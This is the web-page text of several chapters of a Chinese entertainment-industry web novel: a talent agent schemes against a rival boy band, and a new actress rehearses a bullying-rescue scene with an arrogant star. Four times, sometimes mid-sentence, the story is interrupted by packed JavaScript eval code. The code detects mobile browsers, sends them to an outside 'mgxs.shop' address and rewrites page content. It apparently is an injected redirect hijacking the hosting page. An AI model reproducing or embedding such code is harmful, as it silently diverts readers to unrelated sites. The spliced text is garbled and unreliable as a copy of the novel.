和往常的每一天都没有太大的区别,唯一要注意的就是——今天她的艺人们又给她作了什么妖,对家又给她丢了什么锅,她要怎么把锅砸烂。 收拾穿戴完毕,她才拿起手机,还没解锁就看见七八条推送消息几乎占满了手机屏幕。 她视若无睹地解锁屏幕。 高姐几小时前发来微信消息:【狗仔下午两点去蹲点拍TXT男团。】 宫欢回:【记得让他拍得时候把旁边的人也带上。】 高姐:【好,对了,微博热搜看了吗,要不要顺势出你无删减的那段花絮。】 宫欢将每条热搜都大致看过一遍,都有博主找出来了,正是风浪最翻涌的时刻,她出来的话容易破坏节奏—— 干脆让子弹再飞一会儿。 宫欢:【先不澄清,发酵一下,现在讨论度不是挺高的吗】 高姐:【OK】 富豪榜大群消息65条,宫欢点进去还没划两下,房门就被熟悉的节奏敲响。 笃笃笃,三下,停顿30秒。 笃笃笃,三下,停顿...... 宫欢走过去拉开门,毫不意外地看着门外的奚亭云。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126337|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方似乎被她的开门速度吓到,有些微微怔住。 宫欢上下看了看他今日私服穿搭—— 纯白宽松V领T恤,露出锁骨到胸口的部分,为了方便训练穿了宽松牛仔裤,平平无奇的穿搭。 宫欢皱了皱眉,但视线在他领口位置看了看,也算有亮点,就这样吧。 “今天这身不错,”宫欢随口说道,走出房间,看了看其他房间,“那两个还没起来?” 奚亭云不经意地将领口微微调整了下,跟在宫欢后面解释:“在换衣服,准备出来了。” 等人都到齐,宫欢让他们靠在墙边站成一排,将每个人从头到脚地仔细看了看。 训练期间,宫欢她们天天在三人耳边强调——不论何时何地穿着必须是搭配好看亮眼的,哪怕是去洗手间。 所以三人即使很累,也有在好好穿搭,配饰之类的都没落下。 都还看得过眼。 “不错,审美都跟得上了,”宫欢简单点评几句,背着手在三人面前来回走动,“TXT那边在节目开播前应该不会搞事情了,但是开播后就不确定了。” “今天彩排的时候你们想个办法——不管是去捣乱也好,虚情假意地请教也好,尽量在下午2点左右,去TXT那边跟他们接触一下。” 萧子重以为自己听错了:“接触?昨天才闹成那样,还能怎么接触啊,打架?” 宫欢想了想:“不行,打架容易伤到脸,反正你们就找点借口去跟他们同台一下,待个半小时左右就好了。” “欢姐,”安声为难地说,“就算要恶心他们,用这种办法会不会太过了啊。” 萧子重恍然大悟:“原来是要恶心他们。” 宫欢无语,但也不太方便跟他们解释太多:“......你们这么想,也没毛病,就这样啊,好好彩排,别闹太过分。” 奚亭云附和道:“我们会注意分寸。” 安排完后,几人简单吃过饭,坐上车前往电视台。 商务车上,萧子重拿着手机敲敲打打回消息,手机页面停留在微信联系人列表。 他找出富豪榜大群,往上翻了翻,有甘惊鸿和关清英的聊天对话。 聊天消息翻到最上面,是早上9点的消息。 甘惊鸿发了张自拍照,照片里她头发扎成高中生常见的那种不高不低的马尾,衣服也换成了蓝白校服: 【嘀,上班卡,大家今天也要一起努力奋斗啊!】 萧子重反复看了几遍。 照片里的甘惊鸿额头前有几缕碎发,毛茸茸的,朝着镜头竖起了大拇指,有种娇憨感。 他看了片刻,手指搭在照片上停留几秒,蹦出选项—— 【保存图片】 【收藏】 【删除消息】 萧子重盯着这些选项,迟疑了片刻,随机点下了某个选项。 退出大群,点开甘惊鸿的私人微信,聊天止步于前天,他发的最后一条消息是:【晚安。】 后面的交流基本都在富豪榜大群,甘惊鸿试镜通过,大家在群里发消息祝贺她,鼓励她,萧子重也是。 但是,他觉得作为前辈,要多关心一下晚辈。 萧子重手指不断摩挲着手机,纠结着敲字,又删除,反复几次后,还是发去了一条朴实无华的消息: 【我去彩排了,你呢】 47. 活人对戏1(甘惊鸿) 手机提示铃声“哒哒”的响起。 甘惊鸿正拿着手机和关清英视频,手机屏幕的顶部冒出方形消息框,她看见萧子重发来的消息内容后,不由得愣了下。 手机视频那头,关清英一身深绿色制服军装,发型与妆容都非常干练工整,只是背后的阵阵浓烟灰雾有点大。 “你有不理解的地方可以问问导演他们,不用怕挨骂,导演就喜欢多问多看多学的演员,”关清英向她传授经验,“演戏不难,难得是对戏,你之前跑龙套很少和人搭戏,这点你需要多磨练一下——” 砰——砰!哗——咣啷! 话说到一半,关清英那边传来巨大的爆炸声,几乎淹没了她的声音,紧接着可以看见她背后飞扬起更多的尘土,飞尘里砸落下来不少飞石碎土块,有些砸到了关清英肩上,帽子上。 视频里的声音一时间模糊起来。 关清英闭上眼,非常冷静利落地晃了晃头甩掉那些碎土渣,继续淡定地直视镜头,甚至都不打算挪位置。 甘惊鸿被震惊得傻眼:“清、清英姐!你那边怎么了!?” 关清英抬了抬手示意她冷静,面色如常,镇静得让人佩服:“别怕,剧组在试爆破点,等下有一场爆炸的戏份,不危险的。” “啊啊啊啊——!!”视频那头传来一声惨叫。 关清英转过头看了眼,又直直地转回来,一本正经地解释:“他没事,就是刚才爆炸的时候跑得太快,被一块木板绊倒摔破了头。” 甘惊鸿张大了嘴,半天说不出话,僵硬地说:“那,那就好,不然还真挺吓人的。” 视频那边的背景里有人叫了声关清英,大概是轮到她的戏份了。 关清英拍了拍肩上的碎土,叮嘱道:“我先去拍戏了,你多注意剧组的氛围和人好不好相处,如果遇到不好解决的就去问宫欢。” 甘惊鸿应下:“嗯嗯我知道了,你快去忙吧。” 通讯视频挂断,甘惊鸿松了口气,本来还很紧张的心情舒缓不少。 清英姐那边居然还要拍爆炸的戏份,感觉好危险,她却那么冷静,连动都不带动的,好像完全不怕。 这份沉着冷静感染了甘惊鸿,她慌乱无措的心也渐渐安稳下来。 她此刻正在剧组,一大早她就坐车过来了。高姐走之前让司机师傅多帮忙照看一下甘惊鸿,司机师傅是个中年女人,很有亲和力。高姐给了她一个红包,也算是让人临时充当一下小助理。 不过甘惊鸿不太好意思让人家陪她进组来真的当助理,还是让人该干嘛干嘛去了。 一过来,副导演就让化妆师给她做了个造型,换上高中生的衣服,让甘惊鸿自己沉浸一下角色。 甘惊鸿现在坐在剧本中单虹的家里,高中时期,单虹很多戏份都是在家和学校两点一线。 她坐在之前的小木凳上面,腿上放着翻开的剧本,上面有些小小的标注。 发呆的时间有点久,手机消息又蹦出一条:【你知道TXT男团吗?】 甘惊鸿这才从思绪中回神,差点忘了回前辈消息了!刚才她完全被爆炸吸引了注意力。 她拿起手机哒哒哒敲字:【好像听说过,是最近很火的那个男团吗?】 萧子重:【你真的知道?我是说......你喜欢他们吗?】 这个问题有点奇怪,甘惊鸿困惑地想,还没等她回答,对面又发来消息:【你要是喜欢他们的歌什么的,我可以帮你要签名。】 甘惊鸿:【没有没有,只是听说过,男团的话,我不是经常关注。】 萧子重:【不喜欢就好,他们其实很差劲的,昨天还想陷害我们。】 甘惊鸿瞪大眼睛看着这条消息:【陷害?为什么啊?】 两分钟后,萧子重发了一大长串的小作文,甘惊鸿看了半天:【你们竞争也那么激烈吗?】 萧子重:【是啊,而且手段都很脏,先不聊了,我们该彩排了,晚点再聊。】 甘惊鸿放下手机,继续翻着剧本背词,刚背了两句忽然想到关清英说的话——对戏。 她之前演的那些龙套角色基本都是唱独角戏,或者大家你死我死一起死,很少有你来我往的那种对手戏。 她要找个人对戏来磨练自己才行。 想到这,甘惊鸿一把翻开剧本,从头到尾找了找她对手戏的部分。 甘惊鸿越看心越沉,她的戏份一:初遇男主被霸凌,救他,背他去医院。 戏份二:和配角群演老师同学们拍几个学霸片段,去餐厅兼职片段。 戏份三:霸凌者想趁机报复她,在放学路上蹲点,但是被男主拦住了,她并没看见男主的付出,而是顺利地回了家,男主被打。 甘惊鸿合上剧本,好死不死,她唯一的一段最精彩的对手戏就是和男主演的“小巷霸凌”。 昨天之前,她没有留心过男女主演,全身心都放在自己的角色上面,而现在她才反应过来,试镜那天有不少演员们都在聊男女主演的选角。 《皎皎月明》女一曲初静是电影圈内资源一直不错的一线电影演员,听说人非常上镜,性格亲和大气,两部电影都曾超过10亿票房。 男一是一线明星高义南,是电影圈非常看好的演员,听说为人谦和有礼,有过几部叫座的电影,拿过最佳男配奖项。 前天试镜时,有些演员说起过:“能和这两位搭戏,咖位都能升一升了。” “都是一线的明星,我们怎么都不亏,以后履历上也好看。” 甘惊鸿现在才感受到迟来的紧张感。 她的戏份大都是和男主演对手戏,但是女主最好也要对一下细节。 因为一个是少年时代,一个是成年后,一个人的很多习惯动作和面部微表情最好要一致,这样才不会让人出戏。 甘惊鸿不敢自己决定单虹这个角色的一些习惯性动作,她再不懂人情世故,也知道要问问女一有没有什么指教。 所以,想来想去,还是要等两位主演来了,才好往下进行。 剧组里的道具组还在搭景,布置单虹普通偏穷家庭里的一些小道具,导演还没来,只有副导演在调配人手忙活,和编剧沟通剧本桥段哪里要提前拍等等。 甘惊鸿瞧准时机,在副导演空的时候一下凑过去,叫住她:“副导,那个,我想问下男女主演什么时候来啊?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126338|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副导演看她一眼,知道这姑娘是新人,也就没捧着她的意思,随和地说:“晚点吧,他们不强制跟组,你剧本看得怎么样了,晚点拍你在家吃饭学习的桥段啊。这些戏份不难,你摆摆样子就行了。” 甘惊鸿比了个OK:“完全没问题,肯定能一遍过!” “重头戏你知道吧,”副导演看她顺眼,好心求教,就干脆多聊聊,“就那场小巷里面你救男主的那场。” “那当然知道啦,男主就是因为这个才对女主一见钟情,”甘惊鸿说,“回头等男主演到了我还要跟他对戏呢。” 副导演听了这话,转头朝旁边看了两眼:“这场戏重点就是突出一个情感爆发,必须有单虹的不畏强权的性格特点,还要有你和男主之间的暧昧碰撞。” 甘惊鸿:“对对对,您说的没错!” 副导演委婉道:“嗯......你最好自己多练练情绪,对戏的话,差不多过一遍就行了。” 甘惊鸿没有理解她的言下之意:“过一遍?会不会太少啊。” 副导演看她轴轴的,啧了一声。 这姑娘估计没跟高义南接触过,为了剧组不被牵连遭殃,到时候跟着加班,她觉得自己还是要善意提醒一下。 “你和他们不一样,你多磨练自己就行了,对戏是拉着人家陪练,你觉得人家一大明星,愿意陪你对半天戏吗,那不是把时间花在你身上了?” 甘惊鸿听着不对味,有些不满地想反驳:“可这是两个演员的事啊——” 话没说完,剧组外面传来刹车声,有车开过来了。 紧接着听见一些剧组人员的声音: “南哥!”“南哥来啦!” “好久不见啊南哥!” “高老师好,哇真人更帅啊啊啊!” 副导演这种人精一听这声音,顿时收敛神色,不再跟甘惊鸿多说,理了理衣服就往外去迎人:“高老师,哎呀,大明星,终于见着你了,全剧组都天天盼你来呢。” 一个穿着休闲服的男人走了进来,身体气质看起来大约有三十多岁,面相保养得当,要是演年轻一点的角色也不是问题。 高义南笑着寒暄:“客气了,刘导呢,不是说他看中这个本子就想来拍吗?” 两人闲聊客套着进了休息室,留甘惊鸿一个人在原地罚站。 甘惊鸿疑惑,这人看着还可以啊,挺随和的,不像会耍大牌的那种人。 正当甘惊鸿这样想着,下一秒,休息室里扔出来一盏茶壶,茶壶在地上滚了两圈,冒着热气的茶水漏了一地,紧接着一个剧组助理脸色煞白地小跑出来。 “不好意思啊,我不爱喝这种茶,伤胃,麻烦换成红茶。”一道温和却刁钻的声音从休息室里飘出来。 甘惊鸿:“......” 她错了。 甘惊鸿看向手里的剧本,那场救人的戏份被她用黄色的荧光笔画了出来。 这场戏情绪起伏很大,是她喜欢的那种酣畅淋漓的发挥戏份。 现在看来,她不能找男主演对戏了。 可是,不跟对手演员过这个戏,她要怎么完美的演出这场戏呢...... 48. 活人对戏2(甘惊鸿) 剧组休息室。 副导演拎着新沏好的红茶给高义南倒了一杯,讨好地笑着说:“高老师尝尝。” “一般,”高义南坐在沙发上翘起二郎腿,端着茶喝了口,“不过就这样吧,剧组里面确实很少备好茶。” “哈哈,哈哈。”副导干笑,“高老师真体谅我们。” 高义南:“刘导呢?曲静初也没来吗?” 副导斟酌着用词:“曲老师那边说前期是学生时期的拍摄,她暂时先不来,等拍到后期了她再过来和您对戏。” “哦,又玩这套,”高义南习以为常,“估计同时在拍其他电影,过不来,等拍到她了再赶过来。” 副导眼睛转了转:“不能吧。” 高义南嗤笑一声,继续喝了口茶。 休息室的门没关。 他一眼看见门外的小院里,一个穿着蓝白校服的女孩正对着一棵树念念有词,情绪似乎很激动。 “那谁啊?” 副导往外看了一眼,顿时魂儿都快吓飞了——这姑娘正把树当成对戏演员念台词呢! “额她她她是女二,演单虹的学生时期,跟您有一些戏份,那个,我我去跟她说两句话哈,您继续喝,继续喝!” 副导飞快地跑出来,拽着甘惊鸿就往小院外走,边走边小声道: “我说,你就算自己对戏也换个地方啊,高义南就在休息室里面,你当着他的面,和树对戏!!不想活啦!被他发现怎么说?” 甘惊鸿被拽得踉跄,声音因为走路的步伐晃动而带着细微的颤音:“说,说我不好意思跟他这种大明星对戏,我不配和他对戏。” 副导被噎了一下:“那,那也不是不行——哎呀我不是这意思!” 副导把人带到小院外面,叉着腰苦口婆心:“我是说,你能少跟他接触就少接触,别惹到了人家,断送了演员的职业生涯。” 甘惊鸿对这点很自信:“您放心,这肯定不会的。” 副导松了口气。 甘惊鸿紧接话头:“我也有背景的,我经纪人可是宫欢,欢姐,她很厉害的绝对不会让我被欺负。” 副导心又吊起来,快要哭了:“是啊,你们神仙打架,我们剧组被拆家。” “真的这么严重吗?”甘惊鸿只得熄了火,“好吧好吧,我会注意的,尽量不惹这位高老师就是了。” 副导演确实夸张了一点。 刘导背后坐镇投资方,和两个一线主演的背景持平,不会落得特别难堪,但撕破脸了对谁都不好。 副导演就是来当和事佬的,维持住刘导的才华傲气,又平和演员们的刁钻需求的一个存在。 别的地方不知道,至少这位副导演是的。 下午2点,刘导也来到了剧组。 他走到小院外,便看见甘惊鸿对着一块半人高的石头诚恳又认真地说:“你伤势还好吗,再坚持一下,很快就到医院,马上就有人来给你包扎了!” 说完台词,甘惊鸿就抱着那块半人高的石头艰难地挪地方。 刘导放眼望去,小院外的草坪有不少被石头压过的痕迹,可见甘惊鸿挪了多少次石头。 “......”刘导见识过她的木凳戏份,这次也见怪不怪了,他叫了她一声:“那个,额,单虹?” 刘导忘了人名字,来试镜的演员太多,他索性直接叫了女主名字,没想到也灵。 那抱石头挪地方的姑娘背部一顿,像是被人叫到名字,条件反射似的放下石头转头:“啊?” “你过来,过来一下。”刘导叫她。 甘惊鸿认得刘导,她小跑过来礼貌地应了声:“刘导,您来啦,我们什么时候拍我的戏份啊。” “这个不急,”刘导说,“你刚才在那干嘛呢?” “我在——”甘惊鸿刚要说在和石头对戏,但转而一想副导演说过的话,话音僵硬地转了转,“锻、炼、身、体。” 刘导眉头紧皱:“你一个高中生锻炼什么?” 甘惊鸿一本正经地摇头:“不不不,导演你想,单虹她是要去兼职赚钱的人,去餐厅做服务员端菜,大夏天发传单啊等等,这些都是体力活,不能太瘦了,她得有肌肉!” 甘惊鸿说着还举起手臂,做出个展示动作。 这一点刘导倒是没想那么细,但是演员爱琢磨角色是好事,他索性也随她去了:“也行,你看着来吧,但是别练太过了啊。” 甘惊鸿:“放心放心,我有把握。” 拍摄计划原定的是,今天拍甘惊鸿的一些日常片段,但高义南来了,副导演奋笔疾书地将文档更改成了【男主被女主救下后经常偷偷跟着保护女主】的戏份。 这些戏份不用两个演员对戏,因为没有接触。 甘惊鸿饰演的学生单虹只需要保持日常的生活状态,偶尔表现出感觉哪里不对劲的细微变动。 而高义南则是演出男主的暗恋,心动,不敢靠近却又一直坚定的保护女主。 下午天气转阴,自然的滤镜带着偏暗色的色调,刘导很喜欢这种自然滤镜,暂定了两个拍摄地点。 摄影机架起来,剧组人员都忙着准备道具和清场,化妆师给甘惊鸿补了补妆容,一切准备完毕后,准备开拍。 天色阴沉,单虹背着书包推开小院的门,侧身进来,她抬头看了看天气,心里估计着晚点会下雨。 于是将书包丢到屋檐下的板凳上,把院子里晒着的衣服鞋子收起来。 小院的门半开着,单虹将衣服放好走出房间时,隐约看见门外闪过一道黑影。 她吓了一跳,摸着门边放着的扫把小心翼翼地走到了门口,探头出去没看到什么,想着估计是自己最近太累了。 但还是要小心。单虹将门关紧,又拿来一把大锁从里面锁住,才放心地拍了拍手上的土。 而一门之隔的院外,站着一个清瘦的少年。 摄像机的镜头在甘惊鸿和高义南之间切换,最后由一个高空俯拍一扇门隔开着两个人的画面作为结束镜头。 “卡——”刘导喊道。 拍摄一结束,副导演和几个助理一窝蜂地冲了上去,帮高义南整理衣服补妆。 甘惊鸿默默走到刘导那边去看监视器拍摄的内容。 刘导也在看,拍摄画面没有太大的问题,算是一条过。 甘惊鸿看他还算满意,人也挺好相处,就大着胆子自来熟的搭话:“刘导,下一场拍哪个部分,我准备准备。” “我看看啊。”刘导翻开拍摄流程本,跟甘惊鸿说剧情,“这段也简单,还是刚才的人物状态,男主保护你上下学,你一直感觉有人在附近,但是找不到。” 改过的拍摄剧本第二幕是在单虹出门上学的必经之路上,男主经常绕很远的路假装和她同路,在后面远远地保护女主。 这段景一块选在了小院外面的一段路上。 场景这会儿应该布置的差不多了,刘导招呼摄影师一行人:“去拍外景了,女主上学那段路!” 一旁补完妆的高义南听着助理跟他说下一场的拍摄内容,他翻了翻剧本,琢磨着:“有点单调啊。” 助理对高义南那点脾性摸得一清二楚,又犯了那爱指点江山的病,她只能明知故问:“哪里单调?” 高义南看着剧本啧了一声,神神秘秘的又不说话。 副导演耳朵竖起来,时刻关注着高义南这边的动静,听到他又啧又哔哔的,想过来问,但刘导这会在挪动拍摄地点,只好暂时先憋住了。 很快,摄影师和道具都转移到了院外几百米外的小路上,这段路两边开着黄灿灿的油菜花,景也不错。 也是没有台词的一段戏,全看角色的面部表情,肢体语言。甘惊鸿心里捋着角色心理,站在了全景外面等着开机指令。 摄影机架好后,刘导举着喇叭喊:“Action!” 单虹背着书包往学校的方向走,嘴唇张张合合,眼神飘忽着,像是在想什么。 镜头拉近,隐约能听见她背出的一串串数学公式、解题原理架构,有时候背忘了,还会抬手看看手心里的小抄。 坐在监视器后的刘导有些惊喜地放下二郎腿,身体前倾,副导演也跟着将头凑到监视器前。 刘导指着甘惊鸿说:“剧本里面没写这段的细节吧。” 副导也是对甘惊鸿这些加上去的角色细节很满意,“没有,她自己加的,很贴角色,不错啊这姑娘,看着愣头愣脑的,人还是会揣摩角色深度。” 刘导颇为满意,再次往后坐好翘起腿,拿起对讲机跟摄影师对话:“拉长景让男主入画。” 镜头再次拉远,油菜花田里多出一个黑漆漆的影子,突兀地在一片金灿之间,偷偷注视着路过的单虹。 单虹心思全放在默背作业上,根本没发现每天路过的小路会有什么特别情况。 等她走过很远,油菜花田里响起窸窸窣窣的摩擦声,在僻静小路上格外明显。 单虹停住脚步,疑惑地转身往回看了看——刚才,没有风啊。 单虹扫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126339|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一圈,没发现异常,嘟囔着转身继续往前走:“背书背傻了吧。” 镜头最后停留在油菜花田里慢慢站起来的一道身影上。 “卡——不错!这段也很好,一遍过啊。”刘导语气里的高兴掩饰不住,今天连拍两场都是无意外的一遍过,明显是个好兆头,剧组氛围一下轻松不少。 甘惊鸿听见后露出个小得意的笑容,看来她还是很专业的嘛,果然那些尸体没有白演。 天色越来越阴沉,三四点的天气,看着像是六七点。 估计要下雨,刘导和副导去商量下一场的拍摄内容。 没说要拍下一场,甘惊鸿又去拿起剧本坐在小木凳上看,这个木凳现在像是她的移动座位了,到哪都拿着,拍戏的时候剧本往上一放。 高义南从油菜花田里钻出来,嫌弃地拍了拍身上的碎屑,助理帮他驱赶着小蜜蜂。 他看了看天气,眼珠转了转,朝刘导那边走去,路过坐在板凳上的甘惊鸿时,打了进组以来的第一个招呼:“演得不错。” 甘惊鸿反应过来时,人已经走出几步远了,她愣了两秒,还是掩饰不住高兴,朝高义南鞠躬说:“谢谢高老师的认可!” 被业内知名演员认可,甘惊鸿控制不住激动,人也下意识为他之前的傲气找借口:可能,有才华的人多少都有点傲气吧。 拍完这两场,到天黑都再没有通知拍下一场。 甘惊鸿搬着凳子回了小院,油菜花田那边蚊子太多了,围着她嗡嗡叫,身上被咬了不下十个包。 刚走到小院门前,甘惊鸿便看见高义南在路边的一辆房车前跟七八个粉丝说笑聊天。 “都快要下雨了,居然还过来看我,”高义南温和地笑着,礼貌谦和地对每个粉丝都有求必应,“下次不许这样了,签完名之后你们尽快回家,不然不安全。” 说着还让助理去找车,“让人送她们到机场,不然等下天黑又下雨太危险了。” 粉丝们七嘴八舌地撒娇:“我们不怕!哥哥会保护我们的!” “啊啊啊啊我迷路了,需要哥哥送我!” “谢谢高老师!签名好帅啊啊啊!” 好羡慕啊...... 甘惊鸿抱着板凳看着这一幕,说起来她跑龙套这么久,还没人说喜欢她的戏或是角色之类的粉丝。 甘惊鸿呆呆地站着看得久了,被一个粉丝发现,指着她问高义南:“高老师,这个是女一号吗?女一不是曲老师吗?” 这位粉丝早早就来蹲点,刚才看见过高义南和甘惊鸿拍戏,一直纳闷,现在才想起来问。 高义南朝甘惊鸿这看来一眼,解释道:“女一是曲老师,这位演员是饰演单虹的学生时期。” 甘惊鸿猝不及防被点名,只好抬手和几人招招手:“你们好。” 粉丝们略显冷淡,甘惊鸿只好尬尬地将手缩回背后,准备拎着板凳进小院。 不知道是不是代入角色的心理原因,她总觉得小院相比起别的地方,都让她更有安全感。 还差几步进院子,高义南这时叫住了甘惊鸿,“等一下。” 甘惊鸿停住脚步,不解地回头。 “你刚才有些演技问题想请教我对吗?”高义南这么问,他面露微笑,儒雅温和地站在粉丝前面。 甘惊鸿上半张脸因为困惑都皱在了一起,刚想发出一声疑问的“啊?”,愣是在几位粉丝期待的眼神中拐了个弯,将疑问变成了确定:“啊!对!” 这一瞬间,甘惊鸿脑袋前所未有的灵光—— 高义南想在粉丝面前树立威信,她干脆就趁着这机会—— 让他和她对戏!!! 对戏有望了,上天不负有心人,终于看不过去她和石头大树对戏,终于可以和活的男主演对戏了! 甘惊鸿差点喜极而泣,抱着剧本丢开木凳一下冲到高义南面前,翻开那被荧光笔圈起来的剧情片段: “高老师,就是这里,这一段是我们的高光戏份,你被霸凌者欺负,我去救你,这段我不知道要怎么跟您配合,您可以指教一下吗?” 这段剧情里面男主负伤,是比较虚弱脆弱的状态,却因为看见了女主而感动。 粉丝们看不了剧本内容,但听起来也是很有张力的戏份,于是纷纷你一声我一句的叫着。 “哥哥被欺负吗?会不会受伤啊,战损版高老师好想看!!” 高义南被捧得有点飘飘然,也就笑着点头应下:“当然可以了,我们对一下词,然后大概过一下剧情。” 49. 活人对戏3(甘惊鸿) 夜深了,房车上亮起外灯,助理拿来几个野餐椅给粉丝坐,让她们能更舒服的看到高义南的现场演绎。 有粉丝已经在编辑文案发上微博:今天来探班高老师了啊啊啊啊,人超有礼貌,优雅温柔堪称内娱第一绅士! 超级宠粉,像朋友一样让我们坐在他房车旁边看他现场演戏!! 何其有幸啊啊啊啊啊啊!!! 甘惊鸿将剧本放下。 其实那部分台词她对着石头和大树背的滚瓜烂熟了,只是现在换成人,两个人的气场能不能搭、台词的断句、眼神和肢体动作都需要一点点细扣。 感情戏就是这样,吃的就是一个氛围感,而氛围感又是通过各种细节来展现的。 两人对立而站,甘惊鸿礼貌地说:“可以开始了吗高老师,从您被同学欺负开始?” 高义南点头。 空气安静下来,甘惊鸿身体放松,呼吸轻缓,让自己进入状态。 对面的高义南噗通倒地,双手抱头,身体蜷缩在躺在地上,发出隐忍的闷哼声:“嗯......啊,你们想都别想,我死都不会听你们的!啊——” 这段是他被霸凌者欺负要保护费,因为他不给而受到殴打。 大概是多少有点偶像包袱,高义南只是躺在地上象征性地动了动身体,嘴里说着台词,没有太大的动作。 一边坐着的粉丝们很配合地抬手鼓掌,小声赞扬:“哇,高老师也太敬业了,演的好逼真,好像真的被人打了腿,都在发抖。” “是啊,第一次看到现场版的,好震撼啊。” 抱住头的高义南得意地笑了笑,达到他想要的效果了,等下那女二演完,打发她走就行了。 “住手!你们都给我住手!” 一道声音忽然插入进来,声音尖而响亮,一下把正在鼓掌说话的粉丝们震住了,众人纷纷朝她那看去。 没别的,纯是被甘惊鸿洪亮的声音引去。 只见甘惊鸿眉头紧皱着,呼吸急促,眼睛紧紧盯着高义南前面的空气。 她似乎非常气愤又有点害怕,瘦小的肩膀微微缩了缩,一只手攥成拳,一只手指着前面的人,努力想让自己镇定下来,颤抖的声音却暴露了自己的害怕: “你们都在干什么!这里是学校附近,谁给你们的胆子让你们欺负同学的!?” 甘惊鸿说着,眼神在高义南前面的空气里面游移,仿佛这里有好几个不学无术的小混混正在殴打同学。 而甘惊鸿的眼珠慌乱地左右转动,像是害怕哪个人会突然靠近她。 高义南身体顿了顿,从双臂间隙去看了看甘惊鸿。 见她这么入戏也只好配合地继续惨叫,一会儿窝着肚子缩成虾子状,一会儿喘着气倔强咬牙。 这会儿他想起来应该有句台词,于是叫了一声:“快走,走......” 原本粉丝们的注意力应该专注在高义南身上,受伤而脆弱的哥哥多么让人怜爱——可真在现场,人会被一种名叫气场和气质的东西吸引。 甘惊鸿微红的眼睛,激动却又努力抑制住自己情绪的小动作,爆发出的强烈情感让人无法移开视线,不自禁地就将视线在她身上多停留一下,再停一下。 “干什么,你们想做什么,不许过来!后退!” 甘惊鸿往后退了两步,因为慌张还差点崴了脚,看得人心急。 前面像是有人在逼迫她,她攥拳的手紧张又慌乱地伸入校服口袋,连翻好几下才掏出手机,举起来,将屏幕朝前给人看。 因为离得近,有人甚至能看清甘惊鸿手臂上浮起的鸡皮疙瘩。 甘惊鸿喉咙发紧,声音变得尖哑难听,却透着震慑的毫不退让的态度,她坚定的视线直视前方:“我已经报警了,还打给了校长跟学校保安,学校离这里不超过1公里,他们几分钟就能过来!” “放开他!你们现在还能跑!” 说完话,甘惊鸿维持着举手机的动作,一动不动地死死站在原地。 围观的粉丝们已经被现场演绎给震得一时忘记交谈。 好像她们的确身处这场霸凌中,目睹一个名叫单虹的高中生来救下自己的同学。 前面躺在地上的高义南有点愣了,他放下了护着头的手臂,半坐起身看着甘惊鸿。 说实话,心底是有点被触动的,这样的感觉他以前也有过,是和一些非常专业的老演员演高潮戏份时会有的状态。 他接这部戏纯是想放松一下。 爱情片基本上没什么好拍的,就是你暧昧一下,我暧昧一下,然后互相喜欢对方,世界上的爱情内容几乎都被揣摩透了。 很多时候他自己都不认为剧本里面的男女主角是真的相爱,而是因为写了相爱才相爱。 美救英雄,英雄救美的这种戏份老套得不能再老套了,没什么好演的。 可面前这个女二的演员,好像真把情绪投入进去了。 毕竟还是个小演员,认真投入是正常的,这样才能抓到机会。 高义南微微出神。 却见,单虹身体忽然垮了似的瘫坐在地,她手软得手机都没拿住,啪嗒摔在地上,急促地喘息着,眼睛却看向高义南这边。 她试图撑起身体,却因为腿脚发软站不起来,连爬带拖地靠近了高义南,脸忽然凑近,紧张的情绪一下如风刮来将高义南感染了。 “同学,你你还好吗?”单虹的手颤抖得厉害,碰了一下他的手臂,声音里带了些哭腔,“好,好多的血,你没事吧,我,我送你去医院,去医院就没事了!” 高义南记起来台词的一部分,顺着她说:“咳咳,别担心,我没事,你不是打电话给校长了吗?” “我骗他们的,我根本没有校长电话啊,”单虹有些崩溃,却还是努力冷静下来,明明自己怕得要死,却还在关心他,“你的腿,还能动吗?” 高义南试着抬腿,剧本里说他不能动了,于是他摇摇头,龇牙咧嘴地说:“很疼,动不了。” 单虹一时不知所措,嘴里念了好几遍那怎么办,怎么办啊。 忽然想到什么,干脆转过身,背对着高义南拍了拍肩膀,“我背你去医院,快上来!” 高义南愣住:“你,你怎么背得动。” 单虹的马尾低垂在背后,她侧过半边脸,眼尾有些红,声音哑哑的却很执着:“我说背你就背你,快上来。” 高义南只得爬上她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 